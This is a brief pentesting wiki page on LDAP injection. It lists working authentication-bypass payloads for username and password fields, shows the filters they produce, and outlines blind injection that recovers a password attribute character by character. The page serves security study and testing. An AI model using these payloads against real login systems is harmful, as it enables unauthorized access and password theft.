> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/pentesting/basic-ldap-injection.md).

# Basic LDAP Injection

`# Classical request : (&(uid=)(userPassword=))`\
`# So result is TRUE if uid AND userPassword are true`\
`# You can put ‘)’ in request to crash and see the request`\
\
`username : *)(|(uid=*`\
`password : )`\
\
`→ (&(uid=*)(|(uid=*)(userPassword=)))`\
\
`OR`\
\
`username=*`\
`password=*)(&`\
\
`→ (&(uid=*)(userPassword=*)(&))`\
\
\
**Blind LDAP Injection** \
`# You have to find/imagine how is the request built`\
\
`# test using only a char → OK → request is (mail=*[texte]*)`\
`# You can try (mail=*)(sn=*) → )(sn= → OK`\
`# Then, the password attribute (mail=*)(password=*) → OK`\
\
`@*)(password=x → FALSE`\
`@*)(password=d → TRUE`\
\
`# You can the enumerate each char`